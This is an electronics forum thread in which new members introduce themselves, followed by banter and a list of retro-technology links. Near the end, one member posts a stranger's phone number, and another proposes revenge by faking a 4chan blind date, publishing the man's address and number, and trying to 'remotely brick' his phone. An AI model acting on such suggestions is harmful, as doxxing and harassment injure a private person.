I try to learn as much as I can and my favorite method is 'try and error'. When I started building electronics circuits at age 7, there was no literature and no internet available to me. My first experiment was to find out what happens if one connects a LED directly to a 9 V battery without a resistor. Why did I do it? Well, a red box warning in the manual for my electronics kits said not to do it, I wanted to know why. I ended up breaking both LEDs in the kit and was pretty sad that I could no longer experiment. A friend of my mum, who is an electronics engineer, laughed and brought me Red, Green, and Yellow LEDs - a hundred of each. After he also introduced me to a soldering iron and perforated PC Board, I was unstoppable. I found thousands of ways how not to do it and how to break a lot of components. That was the best form of learning for me.

Title: Re: New Member, Please introduce yourself
Post by: dirkwright on October 15, 2012, 01:04:57 pm
Hello, I'm Dirk Wright from America. I work at the patent office so I'm just a hobbiest. I'm into audio mostly.
Title: Re: New Member, Please introduce yourself
Post by: lilmantis on October 17, 2012, 12:28:42 pm
G'day Mates!
Just a young player joining in the fun.
Title: Re: New Member, Please introduce yourself
Post by: jakezilla on October 18, 2012, 05:15:28 pm
I'm Jake from USA. I am a EE and I love eevblog's wealth of info!
Title: Re: New Member, Please introduce yourself
Post by: cidcorp on October 20, 2012, 02:04:53 am

Guessing I probably should have introduced myself some time back.  Chris from sunny (joke) Toronto, Ontario, Canada. I've been a fan of Dave's middle finger approach to hardware reviews for some time now.  I try my best to watch the video blog whenever something new pops up on my Apple TV.

Eh?  (By the way Canadians don't say Eh after every sentence, we do apologize a lot tho - Sorry).

Chris
Title: Re: New Member, Please introduce yourself
Post by: Autoelectrical on October 21, 2012, 12:26:53 am
Hi,

I am Jason, I have no formal electronics background, but I have been learning as I install car stereo, and other modifications to my truck. I have also installed new light fixtures, ceiling fans,garage door opener, etc in the home.

Looking to learn more. I live in the United States.
Title: Re: New Member, Please introduce yourself
Post by: Otatiaro on October 22, 2012, 08:26:11 am
Hello,

Ok my first post was a rant against SeeedStudio ... not that fair but they really messed up.

About me, name's Thomas, I live in France (North East), about 30 years old, spent about 5 years being software developer / software engineer in different companies.

I then started again electronics about 2 years ago, after a very small project I started working on a flybarless controller for helicopters, and 2 years later it's known as the MS Heli BRAIN flybarless controller ;) Now I'm working home on electronics/software projects.

I've watched quiet a bunch of Dave's videos, like very much the way he tells if somethings bad and also if somethings good.

I don't like analogic electronics very much, I do prefer having a central MCU with some wisely chosen peripheral and minimal analog stuff, I guess I'd need to improve this.

Thomas.
Title: Re: New Member, Please introduce yourself
Post by: stratogazer on October 23, 2012, 11:57:42 pm
Hi, all!

I'm Dean, 53 years old,  from Slippery Rock, PA, USA. No formal education in electronics ('cept what I'm able to glean from this site). Just starting to program my Arduino MEGA. Building a power supply/ breadboard work station for the Arduino and also making an audio amplifier for tunes in the man cave.
Title: Re: New Member, Please introduce yourself
Post by: exp1 on October 24, 2012, 02:13:22 am
Hello, my name is José, I'm a 21 year old Argentinian EE student. Currently I'm working in electronic maintenance at a local factory, and a lot of personal projects I'm trying to get around finishing.
Title: Re: New Member, Please introduce yourself
Post by: ldivision on October 24, 2012, 02:45:20 pm
Hello, my name is Mark I am a railway signal electrician, I fiddle with electronic stuff at home where I have my own model railway. Hope to learn about lots of stuff I do not know.
Title: Re: New Member, Please introduce yourself
Post by: jancumps on October 24, 2012, 07:56:44 pm
Jan, from Belgium. Studied electronics in the early eighties. Profession is software architecture.
Title: Re: New Member, Please introduce yourself
Post by: Jinx on October 26, 2012, 10:39:37 am
Hello, been watching Daves videos on YouTube and thought I'd have a browse on here. I'm based in the UK and work as a UPS technician, I deal with kit from 3KVA through to 1.4MW, predominantly 40-800VA though. I'm still learning lots and hope to accelerate that on here.
Title: Re: New Member, Please introduce yourself
Post by: floris on October 26, 2012, 05:32:49 pm
Hello,
a few months ago I discoverd Davids videos and many of them are so recognisable and interesting.

I studied electronica from 1990 till 1994 and followed working in computer and monitor repair for one year because military duty calls and one year later I started in PBX's.

Even before my study my basic hobby was (and still is) electronics and my first kit was a philips kit with a board with springs and a few components and a very clear education manual.
In the years I repaired very many things with and withuot a mainsplug on it :-)
(radio, vcr, psu, tv, digital fotocameras, audiomixingpanels, audio amps, video switches, crt projector, anyway ... way much more ...)
In my study I bought my first oscilloscope a Dynatek 2 ch 20 Mhz scope and I bought a Fluke 12 DMM.
Years later  I got 2 analog storage scopes a philips and a tektroniks (so that why I like scope vids very much).

Anyway, I hope I can learn more here and help others with questions

Greetz
Floris
Title: Re: New Member, Please introduce yourself
Post by: SLJ on October 29, 2012, 06:19:46 pm
Steve from upstate New York USA here.  This looks like a great resource.  I retired a couple of years ago and now have a little more time to play with my collection of antique electronics. 

I collect antique radios and record players but now mostly antique test equipment from the 1920s through 1940s.  You can check out some of my test equipment collection here: http://www.stevenjohnson.com/testers-misc.htm (http://www.stevenjohnson.com/testers-misc.htm)  You will also find links to the rest of the collection of radios, soldering irons, and my workbench here: http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)

Over the past few years I've built a large library of antique service manuals covering U.S. and Canadian radios, record players, amplifiers, and test equipment which I sell on-line.  I don't miss the 9 to 5 day job at all.  Looking forward with chatting with a few of you.

Some of my test equipment collection:
(http://www.stevenjohnson.com/images/testequipment10.jpg)

Title: Re: New Member, Please introduce yourself
Post by: dr_p on October 29, 2012, 09:10:21 pm
Mihai from Romania here, late 20's, no EE formal education or job. Passionate about it though. Currently working on a linear programmable lab PSU with switch-mode tracking pre-regulator and lots of other goodies.

Great place this forum, I've learned lots so far, hope to grow and give something back to the community. Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Prizmatic on October 29, 2012, 10:00:19 pm
Chris from UK here. Taking early steps into RF circuits and home construction, hobby only, and looking to get a better grasp on wrangling electrons. Followed Dave's tube blog for some time, thanks for having me and providing the forum. All the best from the UK.
Chris.
Title: Re: New Member, Please introduce yourself
Post by: Shuggsy on October 31, 2012, 04:08:06 am
Hello everyone, Scott from Georgia, USA here. I'm a "formally trained" Electrical Engineer and graduated from college in 2008, but I've found the most I learn is by tinkering, playing arorund, and experimenting.  There has been more than one occasion where I've released some magic electronics smoke... all in the process of learning, of course!

For me, it all started in high school -- I was really into computers all through middle school and I kept asking the question of "how does that work?" Eventually, that led me into the actual electrical construction of a construction of a computer, and here I am. I find nearly every facet of electronics interesting, but the analog side of things really intrigues me.

I come across Dave's EEVblog when I was thinking about getting a Kindle. I stumbled on his Kindle 3 teardown/review and I've been hooked ever since. I figure that now is as good a time as any to quit lurking and hopefully contribute to the community a bit! Keep up the good work Dave and everyone else!
Title: Re: New Member, Please introduce yourself
Post by: N TYPE on November 01, 2012, 07:17:32 pm
Call me ignorant but I cant be bothered reading through the previous 53 pages of introductions before posting my own  :-[
Im Sam, I live in New Zealand Ive been an electrical engineer (electrician) for the last 10 years but have always been interested on electronics..
After stumbling across daves video blog on youtoube it has rekindled my interest in electronics. I plan to do an electronics engineering degree (study from home) starting next year..

Anyways I dont want to carry on and on so I'll leave it there.
Title: Re: New Member, Please introduce yourself
Post by: andys electronics on November 03, 2012, 10:51:04 pm
Hi, I'm Andy from England, i run my own television repair shop, fixing all makes of plasma and lcd tv's.
Title: Re: New Member, Please introduce yourself
Post by: catcow1234 on November 04, 2012, 04:55:29 pm
Hi all,

I'm Steve from the UK. I'm a test and repair engineer.

I've been an electronics engineer for as long as I can remember.  :)

Looking forward to getting to know a few of you.
Title: Re: New Member, Please introduce yourself
Post by: croberts on November 05, 2012, 03:03:31 pm
I'm Chris from the USA. After being away from electronics for a number of years, I'm doing some circuit and PCB design and PIC programming now as a hobby. I'm currently working on a solar powered LED lighting system for my home. I also do a bit of watercolor painting when I have the time. I've enjoyed reading the posts here and I'm happy to join you all as a member.
Title: Re: New Member, Please introduce yourself
Post by: eLi_205 on November 05, 2012, 09:51:08 pm
Hi Everybody!

I am Eli, aged 20, from Israel.
I am currently studying Electronics Engeniring, and hopefully in 5 months I'll get my degree  ;D

I am actually divided between two main intrests - Cars (mostly French) and - as you may guess- Electronics, My best fun accures when I get to integrate the two  ::)


Peace & Love!

Eli S.
Title: Re: New Member, Please introduce yourself
Post by: brainwash on November 05, 2012, 10:12:59 pm
Hi there, I'm coming from Eastern Europe but currently [temporarily] located in Germany. I have a former EE education, Bachelor Degree, but it's really that: formal, since I've done high-level programming most of my useful life.
Currently doing some small open hardware/software projects and slowly growing the home lab.
Title: Re: New Member, Please introduce yourself
Post by: jalves on November 11, 2012, 03:37:20 pm
Hello all,

Long time passionate with electronics, now playing more and more with it.

Never to late to learn. I am learning it as a hobby.

Title: Re: New Member, Please introduce yourself
Post by: markitzero on November 14, 2012, 05:36:27 am
Hello to all I am Randy  from the US I am 26, I am computer and electronics person, Computers is one of my obessions because of me having aspergers. I am with alot of stuff I am a self learner since I have a Hard time reading text books because I can't remember what I read in the textbook
Title: Re: New Member, Please introduce yourself
Post by: kxenos on November 17, 2012, 09:25:33 pm
Hello, I'm Kostas from Greece. I'm an EE and CS and working for the last 13 years on public transportation fare collection systems.
Title: Re: New Member, Please introduce yourself
Post by: nadona on November 24, 2012, 04:46:15 am
Hello all,
Long time thinking about to learn electronics. Never too late to learn. Finally bought DMM.

Michael from US.
Title: Re: New Member, Please introduce yourself
Post by: Jerzy54 on November 25, 2012, 11:24:55 pm
Hi,
My name is Jerzy from Coram USA. I'm new to electronics, but very impress with this site and this forum.
I hope to learn from all the experts here.
Title: Re: New Member, Please introduce yourself
Post by: bitwelder on November 26, 2012, 08:58:32 am
Hello from a Electronic Engineer borrowed to IT world, as I sometimes describe myself.
I studied EE and practiced it as hobbyist at that time, but then I got job in computer area, so I can count the number of times I used my soldering iron in last 10 years on the legs of a Z80  :P
Recently I "rediscovered" my hobby and with it also this fantastic EEVblog.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: ElectronicTonic on November 27, 2012, 04:47:36 pm
Hi, my name is Eric Wasatonic, electrical lab supervisor at Penn State Harrisburg, where I have a huge lab with all kinds of new and old goodies to play with and lots of projects to work on in my spare time. Also completing my master's project in which I investigate differences between spark gap and solid state Tesla coils.

Just spent the entire summer listening to all AmpHours from the beginning and watching most of Dave's videos. Recently got an AmpHour episode 116 shout-out for my YouTube channel https://www.youtube.com/user/ElectronicTonic156 (https://www.youtube.com/user/ElectronicTonic156) (Thanks Chris & Dave!!). ;D

I look forward to discussing and sharing more projects and ideas.
Title: Re: New Member, Please introduce yourself
Post by: Jackster on November 27, 2012, 05:08:16 pm
Jack here from Derby UK.

Electronic Engineer in the making I think :P


Computer geek is my main job.
Title: Re: New Member, Please introduce yourself
Post by: clarksnel on November 27, 2012, 09:47:31 pm
My name is Clark Snelgrove and I work as a test engineer for Nuvotronics in Radford, VA. We are an R&D company where manufacture using our proprietary Polystrata technology microwave circuits. We make an air dielectric  coaxial line ~500 microns wide and can thus shrink traditional microwave frequency circuits to very small dimensions without suffer the problems of microstrip. We can get insertion losses almost as good as waveguide from a few GHz up to 330 GHz.

I was formally trained as a physicist and spent more than twenty years as an educator. electronics and test have always been interests/hobbies of mine so when I left teaching this has become a nice fit. My biggest challenge is that much of the work that I do I am self taught on since much of the microwave test equipment that I used was introduced after I got my bachelor's degree 27+ years ago. I hope that this forum will help me be in touch with those of you that are more recently trained and more familiar with some of the current test equipment.

thanks
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 29, 2012, 10:24:38 am
Hello all. I'm a semi-retired electronics and embedded systems designer in Sydney, Australia. Happened upon this interesting forum just now while googling for a manual, found the 'show off your workspace' thread. Can't resist - will post some pics there in a few moment.
In the meantime, a few odds and ends. No, I don't bother maintaining my web space in any rational order. It's mostly just a temporary filespace for passing things to friends.
http://everist.org/pics/hp_racks/ (http://everist.org/pics/hp_racks/)
http://everist.org/tales/ (http://everist.org/tales/)
Title: Re: New Member, Please introduce yourself
Post by: SeanB on November 29, 2012, 03:49:53 pm
You building a fusion plant in the workshop?
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 29, 2012, 04:34:49 pm
You building a fusion plant in the workshop?

Ha ha ha... I've no idea why you would be thinking that.
Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 29, 2012, 05:19:23 pm
You building a fusion plant in the workshop?

I thought maybe a deep sea submersible... for cats.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on November 29, 2012, 05:59:27 pm
The vacuum chamber with the high voltage feedthrough............
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 29, 2012, 10:55:10 pm
The vacuum chamber with the high voltage feedthrough............

Actually that HV insulator came with the chamber and is far too big for my needs. The top only clears the 'ceiling' by a few inches, and that is wooden flooring for the loft space above. Which is piled up with electronics and intended to become a networking  and CAD lab.
The insulator is just parked there while I think about a better way to do that.
Anyway, vacuum and high voltage (like the 200 KV DC that generator in the background is capable of) is a great way to kill yourself with accidental X-Rays.

Quote from: SLJ
I thought maybe a deep sea submersible... for cats.

Hmmm.  My cover story is slightly better than that, but your idea might work as a backup. I do have cats. When the chamber is all back together I should take some photos of cats inside it. Maybe photoshop some fish in on the outside, to look totally convincing.
Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 29, 2012, 11:44:30 pm
Quote from: SLJ
I thought maybe a deep sea submersible... for cats.

Hmmm.  My cover story is slightly better than that, but your idea might work as a backup. I do have cats. When the chamber is all back together I should take some photos of cats inside it. Maybe photoshop some fish in on the outside, to look totally convincing.

There are lots of possible captions for a photo like that...  :-DD
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 30, 2012, 01:33:23 am
SLJ, that's a very beautiful website you've built. http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)

I hadn't come across it before, and I _love_ retro-historical technology websites.
I wonder what other gems you and others might know of?
Perhaps there should be a thread here for swapping links to techno-history sites?
Or does one already exist?

In any case, here's my collection of such links. Not checked for dead-uns.

Retrocomputing, history of computing
-------------------------------------
http://www.bitsavers.org/ (http://www.bitsavers.org/)   Sources of information on obsolete computers and electronics
http://www.xs4all.nl/~rimmer/ (http://www.xs4all.nl/~rimmer/)   Stefan's Old Computer Stuff
http://www.fwtunesco.org/musi/ring.html (http://www.fwtunesco.org/musi/ring.html)  Computer Museums and RetroComputing Culture WebRing
http://mo5.com/RING/ring.htm (http://mo5.com/RING/ring.htm)   The Computers, Videogames and Arcade Collector's Ring Homepage
http://www.old-computers.com/museum/computer.asp?c=252 (http://www.old-computers.com/museum/computer.asp?c=252)
http://www.oldcomputermuseum.com (http://www.oldcomputermuseum.com)
http://www.digibarn.com/ (http://www.digibarn.com/)
http://www.mdgx.com/w31toy.htm (http://www.mdgx.com/w31toy.htm)  Windows 3.1 stuff!
http://www.trailingedge.com (http://www.trailingedge.com)
http://www.machine-room.org (http://www.machine-room.org)
http://www.archiveteam.org/index.php?title=Main_Page (http://www.archiveteam.org/index.php?title=Main_Page)
http://www.archiveteam.org/index.php?title=Rescuing_Floppy_Disks (http://www.archiveteam.org/index.php?title=Rescuing_Floppy_Disks)
http://www.parse.com/~museum/pdp-common/books.html (http://www.parse.com/~museum/pdp-common/books.html)
http://www.chd.dyndns.org/pdp8/ (http://www.chd.dyndns.org/pdp8/)   DEC enthusiast site
http://hampage.hu/pdp-11/main.html#lista (http://hampage.hu/pdp-11/main.html#lista)  DEC PDPx history
http://www.brouhaha.com/~eric/ (http://www.brouhaha.com/~eric/)
http://www.cathodecorner.com/index.html (http://www.cathodecorner.com/index.html)   Nixies! & the CRT Clock!
http://wps.com/projects/decimal-tubes/index.html (http://wps.com/projects/decimal-tubes/index.html)    Nixie history
http://wps.com/projects/index.html (http://wps.com/projects/index.html)
http://wps.com/projects/LGP-21/ (http://wps.com/projects/LGP-21/)
http://foldoc.org/foldoc.cgi?The+story+of+Mel,+a+Real+Programmer (http://foldoc.org/foldoc.cgi?The+story+of+Mel,+a+Real+Programmer)
http://foldoc.org/ (http://foldoc.org/)   free on-line dictionary of computing
http://www.retrocomputing.net (http://www.retrocomputing.net)
http://www.vintage-computer.com (http://www.vintage-computer.com)
http://retrocalculator.com/software/ (http://retrocalculator.com/software/)
http://www.vintagecalculators.com/index.html (http://www.vintagecalculators.com/index.html)
http://home.vicnet.net.au/~wolff/calculators/Egli/Egli.htm (http://home.vicnet.net.au/~wolff/calculators/Egli/Egli.htm)   mechanical & early calculators
http://wiki.oldos.org/Downloads/MSDOS (http://wiki.oldos.org/Downloads/MSDOS)
http://www.magrundke.de/hypertxt/welcome.html (http://www.magrundke.de/hypertxt/welcome.html)    an 'old computer' museum
http://www.seasip.info/VintagePC/index.html (http://www.seasip.info/VintagePC/index.html)      Vintage PCs
http://www.islandnet.com/~kpolsson/ibmpc/ (http://www.islandnet.com/~kpolsson/ibmpc/) Chronology of IBM Personal Computers
http://www.datamath.org/Album_Sci.htm (http://www.datamath.org/Album_Sci.htm)   History of TI calculators
http://artifaxbooks.com/fsusmilkeys.htm (http://artifaxbooks.com/fsusmilkeys.htm)    Antique morse code keys & bugs.
http://smithsonianchips.si.edu/ice/s16b.htm (http://smithsonianchips.si.edu/ice/s16b.htm)  Integrated Circuit Engineering Collection !!!
http://smithsonianchips.si.edu/index2.htm (http://smithsonianchips.si.edu/index2.htm)
http://www.oldskool.org/disk2fdi/525HDMOD.htm (http://www.oldskool.org/disk2fdi/525HDMOD.htm)     Let HD 5,25" FDDs operate at 300 rpm instead of 360 rpm
http://www.oldskool.org/ (http://www.oldskool.org/)    Welcome to The Oldskool PC, a website dedicated to old PC gaming-related nostalgia and resources.

http://www.royalsignals.org.uk/ (http://www.royalsignals.org.uk/)   Vintage wireless. Manuals, etc.
http://www.megacycles.co.uk/ (http://www.megacycles.co.uk/)
http://www.kilocycles.co.uk/ (http://www.kilocycles.co.uk/)

http://www.pagetable.com/?p=401 (http://www.pagetable.com/?p=401)   Measuring the Entropy of the MOS 6502 CPU
http://www.visual6502.org/JSSim/index.html (http://www.visual6502.org/JSSim/index.html)  The Visual 6502
http://ascii.textfiles.com (http://ascii.textfiles.com)        Jason Scott's weblog of computer history.
http://www.msarnoff.org/6809/ (http://www.msarnoff.org/6809/)     building a 6809 board in 2010
http://www.folklore.org/index.py (http://www.folklore.org/index.py)  History of the original Macintosh
http://www.rewindmuseum.com/betamax.htm (http://www.rewindmuseum.com/betamax.htm)   A museum of vintage consumer electronics

http://www.arcade-museum.com/manuals/manuals_videogame.php (http://www.arcade-museum.com/manuals/manuals_videogame.php)  video game doc, incl schematics.

Hewlett Packard archives
------------------------
http://www.kennethkuhn.com/hpmuseum/ (http://www.kennethkuhn.com/hpmuseum/)  History of Hewlett Packard
http://www.hpmemory.org/ (http://www.hpmemory.org/)
http://www.hparchive.com/ (http://www.hparchive.com/)
http://tech.groups.yahoo.com/group/hp_agilent_equipment/ (http://tech.groups.yahoo.com/group/hp_agilent_equipment/)
http://tech.groups.yahoo.com/group/hparchive/ (http://tech.groups.yahoo.com/group/hparchive/)

Radio Valves - retro electronics
---------------------------------
http://www.jacmusic.com/html/articles/blueglow/blueglow.htm (http://www.jacmusic.com/html/articles/blueglow/blueglow.htm)
http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)    Steve's Antique Technology

Music Synth info
----------------
http://www.vintagesynth.com/ (http://www.vintagesynth.com/)
http://machines.hyperreal.org/manufacturers/ (http://machines.hyperreal.org/manufacturers/)
http://www.fairlight.free.fr/ (http://www.fairlight.free.fr/)   Laurent Lemaire's site.

Space junk, techno-history
---------------------------
http://www.orau.org/ptp/museumdirectory.htm (http://www.orau.org/ptp/museumdirectory.htm)
http://www.physics.rutgers.edu/~koeth/survey_meters/pages/tracerlab.html (http://www.physics.rutgers.edu/~koeth/survey_meters/pages/tracerlab.html)
http://www.telephonecollecting.org (http://www.telephonecollecting.org)
http://www.bobsoldphones.net/Pages/index.htm (http://www.bobsoldphones.net/Pages/index.htm)   Australian phone history
http://www.webring.com/t/Antique-Telephone-Collecting-Web-Ring?sid=24 (http://www.webring.com/t/Antique-Telephone-Collecting-Web-Ring?sid=24)
http://www.tubecollector.org (http://www.tubecollector.org)
http://antiqueradios.com/ (http://antiqueradios.com/)

HP-1000 sites
-------------
http://www.dashertechnologies.com/product_1000.htm (http://www.dashertechnologies.com/product_1000.htm)
http://www.hp1000.com (http://www.hp1000.com)
http://www.sieler.com/hpdisk.txt (http://www.sieler.com/hpdisk.txt)

Antique Instr & Books
---------------------
http://www.gemmary.com/ (http://www.gemmary.com/)

Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 30, 2012, 03:05:15 am
Here is my links page.  Mostly vintage radio and test equipment links but other technologies are listed at the end.
www.AntiqueAirwaves.com (http://www.antiqueairwaves.com/)
Title: Re: New Member, Please introduce yourself
Post by: slowtwitch on December 04, 2012, 10:54:28 pm
Hello Everyone, My name is Pete. I was born in Germany, but, my parents immigrated to the states many years ago. As for my experience, I'm a rank beginner at this electronics stuff. Well not completely, I did study electronics at the vocational high school I attended many moons ago.

How long ago was that.....lets just say that I had a firm grasp of vacuum tubes , before those darn transistors came into play.. luckily, I graduated before they were taught in class  ;D

Anyway, I found this site looking for information on oscilloscopes and have been hooked since.  My main interest are in motor controls, such as VFD's, A.C. and D.C. servo drives and all the electronics that make up a CNC machine. I have converted a lathe to CNC and I'm currently looking into rebuilding my CNC mill.

But, I'm also interested in working on some old radios and guitar amps. The forum seems to be be filled with so many knowledgeable folks and I hope to gain just a speck of their know how.

Lastly , I want to thank Dave for getting this site going....Thanks Dave   :D

take care

pete
Title: Re: New Member, Please introduce yourself
Post by: grzywacz on December 05, 2012, 11:56:15 pm
Hello!

A complete beginner here, learning on my own and with friends' help. Hoping to get better some day. :D
Title: Re: New Member, Please introduce yourself
Post by: jhansonxi on December 06, 2012, 07:34:30 pm
I'm from Michigan.  Been doing PCB CAD for about 20 years, mostly automotive-related test equipment.  Have used P-CAD MD 4.5, 5, 8 (the real P-CAD on DOS), Cadence, and Altium since back when it was just buggy (Protel 1.5) up to bloated, expensive, and buggy (AD 10).

Also an electronics technician and have spent many hours soldering fine-pitch SMT boards.

Did corporate IT (Windows sysadmin) for a few years but quit before violence erupted.  Now use Ubuntu Linux almost exclusively.

Have also done residential electrical work (to code standards).

Spend my little free time maintaining tractors or riding my TerraTrike Rover (http://terratrike.com) (pushing mice around isn't enough exercise anymore).
Title: Re: New Member, Please introduce yourself
Post by: mayeri on December 09, 2012, 05:50:33 pm
Hi all, I am Istvan from Hungary, Pécs. I am electrical engineer, but I'm working on telecommunications. I am at home  in IT and data networks. The electronics is my hobby.  Long ago I designed and built electronics, but now I repair and restore.  Now I would like to improve oscilloscopes.
Title: Re: New Member, Please introduce yourself
Post by: BLPisani on December 10, 2012, 03:02:38 am
Howdy! I'm Brandon, a theate electrician in Tennessee, USA. I'm trying to teach myself electronics through books and the Internet. I see where my profession is headed, and I want to be able to advance my skills. I know enough to successfully make simple circuits (like wiring a switch, batteries, and some lights in a stage prop oe fixing a conventional lighting fixture). I have a couple of Arduinos and a Raspberry Pi for learning, but I'm generally open to learning all kinds of things.
Title: Re: New Member, Please introduce yourself
Post by: filip on December 10, 2012, 09:24:06 pm
Hey,

I am Filip from Poland.

I started with electronics as my childhood/adolescence passion, but I have mostly moved to IT since then.
I would like to revive and broaden my electronics skills :).
Title: Re: New Member, Please introduce yourself
Post by: Teemo on December 14, 2012, 08:34:08 pm
Hello Everyone! My name is Teemo. I am in Estonia.
I have tried woodworking, but now I'm back again in electronics. I'm more like self(un)employed inventor, at the moment.
More info about my doings is on my website:http://digiwood.ee (http://digiwood.ee)

Really like how Dave can be so honest when he fails with something. Not to cut that failing part out of the video, or cover up (at least seems that way). It is the real life, when doing electronics, things happen, this is how we learn! ;)

Teemo
Title: Re: New Member, Please introduce yourself
Post by: videobruce on December 16, 2012, 06:24:26 pm
Someone tell me where this forum is based out of?
I assume it is in Europe. I couldn't find anything elsewhere in the forum.

Thanks.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 16, 2012, 06:32:37 pm
A quick look at the owner will reveal he is in Australia, not Austria, a big continent sitting between the Pacific and Indian oceans, not a little country stuck in Europe...........

You know, the place with Kangaroos, Crocodile Dundee, Koala bears, Ayers Rock........ Not the place the Governator came from.

Though the forum itself is in a server located in a server farm in the USA.
Title: Re: New Member, Please introduce yourself
Post by: videobruce on December 16, 2012, 06:43:17 pm
That would go under the assumption I already knew who the "owner" was.
A simple answer would of sufficed, not the unnecessary added comments.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 16, 2012, 07:24:01 pm
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.
Title: Re: New Member, Please introduce yourself
Post by: PuterGeek on December 16, 2012, 09:54:26 pm
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.

Just let him take you out to dinner and a movie, then tell him it just won't work between the two of you.  :-DD
Title: Re: New Member, Please introduce yourself
Post by: PuterGeek on December 16, 2012, 09:59:02 pm
Apologies for not having introduced myself earlier, it must be the recessive engineer gene.  ;D

I'm Joe Stockton, an electrical engineer in the US (Atlanta GA). I got my BEE and Computer Engineering Certificate training at Georgia Tech in the mid 70's to early 80's (class of '81). What is now referred to as embedded we used to call microprocessor control (microcontrol for short).

I started at a small automatic test company where, among other things, I designed a controller for an in-circuit tester. You can now buy a faster, cheaper single chip to replace the 2 MHz Motorola 6809 (6800 successor) and the dozen or so chips required.

In the mid to late 80's I was the senior hardware engineer for a dispatch radio startup. I designed two ASICs (we called them gate arrays) with hand drawn schematics, converted the schematics to RTL and simulated them on a 4.5 MIP Amdahl mainframe ($170,000 CPU bill :o). The gate arrays were used in mobile radios and the multiprocessor system that managed trunking, channel control, telephone interface and billing. CMOS was starting to replace bipolar and NMOS in mainstream electronics and we were one of the first companies in Atlanta to use surface mount technology.

After little consulting in the late 80’s and a few years working for a Macintosh peripheral manufacturer, I took a break from the electronics industry. In the mid 90’s thru 2001 I did IT, database design and operations at a small education company. For the last 10 years I did everything from operations management to embedded design for a tiny company that makes control panels for industrial diesel engines.

I left the control panel company in June and restarted consulting, goofing off, trying to invent the next big thing and/or winning the lottery. ;) I could have done a lot of good with that half-billion dollar Powerball jackpot!

I’ve done logic design, audio frequency analog, high precision analog, embedded system design, programming (C, assembly, Fortran, Pascal, VBA, Perl, scripting, etc.), database development (Access, SQL Server), network design/implementation (servers, Ethernet, routers, ISDN, DSL, T1, etc.) and harness design. I’ve use CAD software (P-CAD, Altium, AutoCAD, Inventor, etc.), various processors (Motorola, Intel, National, NXP, TI), computer systems (Data General, NCR, DEC, PCs and clones, 68xxx and PowerPC Macintosh) and lots of operating systems (mainframe, OS9, Unix, MS-DOS, every Windows desktop/server release, pre-BSD Macintosh System, Linux, RTOSes). I’ve also done a lot of operations stuff including manufacturing engineering, contract management and operations management. Throw in supervising a building remodeling, a couple of business relocations, a couple of PBX installations and a few MRP implementations.

For myself, I do a little woodworking and virtually every home improvement project possible (appliance repair, patching, painting, wallpaper, tile, carpet, plumbing, house wiring, sheetrock, decks, porches, landscaping, gardening). I even enjoyed most a lot some of those!

I ran across Dave’s video blog while searching for information to update my aging equipment for my consulting at a reasonable cost. I have thoroughly enjoyed Dave’s teardowns, rants and ideas. I’m glad to ‘meet’ everyone in the forum and have enjoyed the helpful discussions, debates and pointers.

I hope my experience and information is useful. I’m likely to share even if it’s not!

-Joe

p.s. This sounds like a weird cross between a resume, job interview, Facebook and a dating site profile. :P
Title: Re: New Member, Please introduce yourself
Post by: Fluxed Matter on December 16, 2012, 11:07:07 pm
Australia not Austria.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 16, 2012, 11:16:11 pm
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.

Sounds like a job for a 4chan blind date.
Go on, you know you want to. Get video, post on youtube. With his address and phone number.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 05:56:03 am
Few reasons as to why not................ Only calls when inebriated and is looking for cheap sex, and I am not that kind of guy.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 17, 2012, 11:24:15 am
Few reasons as to why not................ Only calls when inebriated and is looking for cheap sex, and I am not that kind of guy.

Ha ha... that wasn't what I meant. Get his number and some random pic from the net of an attractive young lady (who you will pretend to him to be, and who will be his photo on the thread) and via 4chan set him up for a blind date at a specific location with about 5,000 pimply faced socially awkward youths. Don't forget to specify what he (she) should wear, so 'you' (they) can recognize him.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 11:36:03 am
It's a big country, and I cannot tell where he is from, just that he is Zulu speaking. To bait him would mean an effort not worth the reward, pointless leading an ass to water if it will just bray. Only calls when has money for airtime, and i gave him a memory location on the phone with his own special ringtone of silence now. Still get the Please Call Me's, so he has no money, has spent it all at the shebeen or tavern on utshwala, and has no car so walks home. Does not respond when sworn to either, one time when he called I gave the phone to a colleague and he called him things that would get me banned here, he worked on the railways and learned a lot of impressive expressions there.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 17, 2012, 11:33:24 pm
Oh well, that doesn't sound like much potential for revenge LOLs.
The only other one I can think of is something along the lines of 'remotely brick mobile phone' (google).
But seems like a slim chance there too.

